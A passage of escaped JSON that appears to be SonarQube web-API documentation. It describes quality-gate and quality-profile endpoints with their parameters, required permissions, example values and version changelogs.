name\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.4\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource Way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;page\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;2\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pageSize\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;10\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;query\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To search for projects containing this string. If this parameter is set, \\\u0026#34;selected\\\u0026#34; is set to \\\u0026#34;all\\\u0026#34;.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;abc\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Depending on the value, show only selected items (selected=selected), deselected items (selected=deselected), or all items with their selection status (selected=all).\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;all\u0026#34;, \u0026#34;deselected\u0026#34;, \u0026#34;selected\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search_groups\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List the groups that are allowed to edit a Quality Gate.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Gates\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality gate\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Gate name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource Way\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;25\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to group names that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Depending on the value, show only selected items (selected=selected), deselected items (selected=deselected), or all items with their selection status (selected=all).\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;all\u0026#34;, \u0026#34;deselected\u0026#34;, \u0026#34;selected\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search_users\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List the users that are allowed to edit a Quality Gate.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Gates\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality gate\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Gate name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Recommended quality gate\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;25\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to names or logins that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;freddy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Depending on the value, show only selected items (selected=selected), deselected items (selected=deselected), or all items with their selection status (selected=all).\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;all\u0026#34;, \u0026#34;deselected\u0026#34;, \u0026#34;selected\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;select\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Associate a project to a quality gate.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Gates\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Administer\u0026#39; right on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateId\u0026#39; is removed. Use \u0026#39;gateName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateName\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;gateId\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;gateName\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The parameter \u0026#39;projectId\u0026#39; was removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;gateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the quality gate\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.4\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_as_default\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Set a quality gate as the default quality gate.\\u003Cbr\\u003EParameter \u0026#39;name\u0026#39; must be specified. Requires the \u0026#39;Administer Quality Gates\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;name\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the quality gate to set as default\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.4\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarSource Way\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;show\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Display the details of a quality gate\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;isDefault\u0026#39; field is added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;caycStatus\u0026#39; field is added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.9\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; in the response is deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;period\u0026#39; and \u0026#39;warning\u0026#39; fields of conditions are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;isBuiltIn\u0026#39; field is added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;actions\u0026#39; field is added in the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.0\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the quality gate. Either id or name must be set\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Quality Gate\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_condition\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a condition attached to a quality gate.\\u003Cbr\\u003ERequires the \u0026#39;Administer Quality Gates\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; format changes from integer to string. \u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Removed optional \u0026#39;warning\u0026#39; and \u0026#39;period\u0026#39; parameters\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Made \u0026#39;error\u0026#39; parameter mandatory\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Reduced the possible values of \u0026#39;op\u0026#39; parameter to LT and GT\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;error\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Condition error threshold\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;10\u0026#34;, \u0026#34;maximumLength\u0026#34;: 64 }, { \u0026#34;key\u0026#34;: \u0026#34;id\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Condition ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;metric\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Condition metric.\\u003Cbr/\\u003E Only metric of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003EINT\\u003C/li\\u003E\\u003Cli\\u003EMILLISEC\\u003C/li\\u003E\\u003Cli\\u003ERATING\\u003C/li\\u003E\\u003Cli\\u003EWORK_DUR\\u003C/li\\u003E\\u003Cli\\u003EFLOAT\\u003C/li\\u003E\\u003Cli\\u003EPERCENT\\u003C/li\\u003E\\u003Cli\\u003ELEVEL\\u003C/li\\u003E\\u003C/ul\\u003EFollowing metrics are forbidden:\\u003Cul\\u003E\\u003Cli\\u003Esecurity_hotspots\\u003C/li\\u003E\\u003Cli\\u003Enew_security_hotspots\\u003C/li\\u003E\\u003Cli\\u003Ealert_status\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;blocker_violations, vulnerabilities, new_code_smells\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;op\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Condition operator:\\u003Cbr/\\u003E\\u003Cul\\u003E\\u003Cli\\u003ELT = is lower than\\u003C/li\\u003E\\u003Cli\\u003EGT = is greater than\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;GT\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;LT\u0026#34;, \u0026#34;GT\u0026#34; ] } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/qualityprofiles\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage quality profiles.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;activate_rule\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Activate a rule on a Quality Profile.\\u003Cbr\\u003E Requires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality profile\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;severity\u0026#39; is now deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality Profile key. Can be obtained through \\u003Ccode\\u003Eapi/qualityprofiles/search\\u003C/code\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;params\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Parameters as semi-colon list of \\u003Ccode\\u003Ekey=value\\u003C/code\\u003E. Ignored if parameter reset is true.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;params=key1=v1;key2=v2\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;reset\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Reset severity and parameters of activated rule. Set the values defined on parent profile or from rule default values.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;rule\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:AvoidCycles\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;severity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Severity. Ignored if parameter reset is true.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;activate_rules\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bulk-activate rules on one quality profile.\\u003Cbr\\u003E Requires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer Quality Profiles\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003EEdit right on the specified quality profile\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameters \u0026#39;severities\u0026#39;, \u0026#39;targetSeverity\u0026#39;, \u0026#39;active_severities\u0026#39;, and \u0026#39;types\u0026#39; are now deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;sansTop25\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;activation\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter rules that are activated or deactivated on the selected Quality profile. Ignored if the parameter \u0026#39;qprofile\u0026#39; is not set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;active_severities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of activation severities, i.e the severity of rules in Quality profiles.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;CRITICAL,BLOCKER\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;asc\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Ascending sort\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;available_since\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filters rules added since date. Format is yyyy-MM-dd\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2014-06-22\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;cleanCodeAttributeCategories\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Clean Code Attribute Categories\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ADAPTABLE,INTENTIONAL\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;ADAPTABLE\u0026#34;, \u0026#34;CONSISTENT\u0026#34;, \u0026#34;INTENTIONAL\u0026#34;, \u0026#34;RESPONSIBLE\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;cwe\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of CWE identifiers. Use \u0026#39;unknown\u0026#39; to select rules not associated to any CWE.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;12,125,unknown\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;impactSeverities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Software Quality Severities\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;HIGH,MEDIUM\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;LOW\u0026#34;, \u0026#34;MEDIUM\u0026#34;, \u0026#34;HIGH\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;impactSoftwareQualities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Software Qualities\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;MAINTAINABILITY,RELIABILITY\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;MAINTAINABILITY\u0026#34;, \u0026#34;RELIABILITY\u0026#34;, \u0026#34;SECURITY\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;inheritance\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of values of inheritance for a rule within a quality profile. Used only if the parameter \u0026#39;activation\u0026#39; is set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;INHERITED,OVERRIDES\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;NONE\u0026#34;, \u0026#34;INHERITED\u0026#34;, \u0026#34;OVERRIDES\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;is_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter template rules\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;languages\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of languages\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java,js\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP Top 10 2017 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10-2021\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP Top 10 2021 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;UTF-8 search query\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;xpath\u0026#34;, \u0026#34;minimumLength\u0026#34;: 2 }, { \u0026#34;key\u0026#34;: \u0026#34;qprofile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile key to filter on. Used only if the parameter \u0026#39;activation\u0026#39; is set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;repositories\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of repositories\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java,html\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;rule_key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of rule to search for\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: 